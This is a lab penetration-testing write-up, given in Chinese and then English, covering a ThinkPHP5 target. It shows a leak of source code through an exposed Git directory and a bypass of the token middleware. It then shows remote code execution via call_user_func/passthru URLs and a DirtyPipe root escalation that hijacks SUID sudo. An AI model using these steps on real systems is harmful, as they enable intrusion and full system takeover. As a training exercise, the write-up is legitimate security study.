本文记录了针对一台ThinkPHP5靶机的渗透实战。攻击者首先通过8080端口的Git泄露获取网站源码。通过代码审计,理清了应用路由映射关系,并发现可生成合法Token的接口以绕过 Check1 中间件验证;随后利用控制器中未过滤的 call_user_func 函数,成功构造URL触发远程代码执行(RCE)获取Shell。在获取 welcome 用户权限后,借助 LinPEAS 扫描发现系统存在 DirtyPipe (CVE-2022-0847) 内核漏洞 ,最终通过劫持 SUID 二进制文件成功提权至 root。 本文记录了针对一台ThinkPHP5靶机的渗透实战。攻击者首先通过8080端口的Git泄露获取网站源码。通过代码审计,理清了应用路由映射关系,并发现可生成合法Token的接口以绕过 Check1 中间件验证;随后利用控制器中未过滤的 call_user_func 函数,成功构造URL触发远程代码执行(RCE)获取Shell。在获取 welcome 用户权限后,借助 LinPEAS 扫描发现系统存在 DirtyPipe (CVE-2022-0847) 内核漏洞 ,最终通过劫持 SUID 二进制文件成功提权至 root。

信息收集

# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
|   Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_  Potentially risky methods: PUT DELETE
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.110.38:8080/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds

漏洞分析

代码审计

$ less config/app.php
# 应用映射(自动多应用模式有效)
    'app_map'          => ["think"=>"admin"], # 要搜索/admin就要搜索/think
    'domain_bind'      => []

既然有路由我们就可以查看网址有哪些

$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello");  //我想给这块设置路由方便你们渗透的,不知道为什么我这个路由是无效的  # 这很奇怪

查看Admin.php

<?php

namespace app\\admin\\controller;

use app\\BaseController;
use app\\middleware\\Check1;   //这有一个检查
class Admin extends BaseController
{
    protected $middleware =["Check1"]; 
    public function hello($a,$b)   
    {
        call_user_func($b, $a); #这是一个函数,使用$b($a)
    }

}

根据路由规则http://192.168.110.38:8080/think/Admin/hello?a=&b=

💡
为什么不是http://192.168.110.38:8080/think/Admin/hello/a(参数)/b(参数)?

查看Check1

<?php
declare (strict_types = 1);

namespace app\\middleware;

use think\\Response;
use think\\facade\\Session;
class Check1
{
    /**
     * 处理请求
     *
     * @param \\think\\Request $request
     * @param \\Closure       $next
     * @return Response
     */
    public function handle($request, \\Closure $next)
    {
        //
        if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){    # 检查是否有参数且sb=token才放行

            return $next($request);
        }
        else{
            echo Session::get("sb");
            echo "<br>";

            echo Session("token");
            return response("虽然我是新手,但是懂的一点token验证什么的");

        }
    }
}

我们看一下哪里设置了sb参数grep -r "Session::set" —> app/index/controller/Token.php

<?php

namespace app\index\controller;

use app\BaseController;
use think\facade\Session;

class Token extends BaseController
{
    public function token()
    {
        $message = "请输入成员名称获取令牌";
        if (input("post.sb") == "admin") {    #传入admin获得一个token用于验证http://192.168.110.38:8080/think/Admin/hello?a=&b=
            $sb = $this->request->buildToken("token", "sha1");
            Session::set("sb", $sb);
            $message = "获取成功: " . $sb;
        } elseif (input("post.sb") !== null) {
            $message = "你是猪脑袋嘛,都明摆着了";
        }

这个网址根据路由是http://192.168.110.38:8080/index/token/token

image

此时我们转到http://192.168.110.38:8080/think/Admin/hello?a=id&b=passthru

利用

http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru

在/home/welcome中发现.pwd ,在本地跑一下得到凭据welcome:eecho

权限提升

运行linpeas.sh得到

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: less probable
   Tags: ubuntu=(20.04|21.04),debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

编译好程序后

welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000  -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)

经验教训

没仔细查看route路由,花费了大量时间

Information Gathering

# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
|   Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_  Potentially risky methods: PUT DELETE
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.110.38:8080/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds

Vulnerability Analysis

Code Audit

$ less config/app.php
# Application mapping (auto multi-application mode enabled)
    'app_map'          => ["think"=>"admin"], # To search for /admin, you need to search for /think
    'domain_bind'      => []

Since there are routes, we can check what URLs are available

$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello");  // I wanted to set up a route here to facilitate your penetration, but for some reason this route is invalid # This is strange

View Admin.php

<?php

namespace app\admin\controller;

use app\BaseController;
use app\middleware\Check1;   // There is a check here
class Admin extends BaseController
{
    protected $middleware =["Check1"]; 
    public function hello($a,$b)   
    {
        call_user_func($b, $a); # This is a function, using $b($a)
    }

}

According to the route rule http://192.168.110.38:8080/think/Admin/hello?a=&b=

💡
Why not http://192.168.110.38:8080/think/Admin/hello/a(parameter)/b(parameter)?

View Check1

<?php
declare (strict_types = 1);

namespace app\middleware;

use think\Response;
use think\facade\Session;
class Check1
{
    /**
     * Handle the request
     *
     * @param \think\Request $request
     * @param \Closure       $next
     * @return Response
     */
    public function handle($request, \Closure $next)
    {
        //
        if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){    // Only allow passage if parameters exist and sb equals token

            return $next($request);
        }
        else{
            echo Session::get("sb");
            echo "<br>";

            echo Session("token");
            return response("Although I'm a beginner, I understand a bit about token verification");

        }
    }
}

Let's see where the sb parameter is set grep -r "Session::set" -> app/index/controller/Token.php

<?php

namespace app\index\controller;

use app\BaseController;
use think\facade\Session;

class Token extends BaseController
{
    public function token()
    {
        $message = "Please enter member name to get token";
        if (input("post.sb") == "admin") {    // Pass 'admin' to obtain a token for verification at http://192.168.110.38:8080/think/Admin/hello?a=&b=
            $sb = $this->request->buildToken("token", "sha1");
            Session::set("sb", $sb);
            $message = "Successfully obtained: " . $sb;
        } elseif (input("post.sb") !== null) {
            $message = "Are you stupid? It's obvious";
        }

This URL according to the route is http://192.168.110.38:8080/index/token/token

image

At this point, we navigate to http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru

Exploitation

http://192.168.110.38:8080/think/Admin/hello?a=payload&b=passthru

Found .pwd in /home/welcome, ran it locally to get credentials welcome:eecho

Privilege Escalation

Running linpeas.sh yields

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: less probable
   Tags: ubuntu=(20.04|21.04),debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

After compiling the program

welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000  -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)

Lessons Learned

Did not carefully check the route, spent a lot of time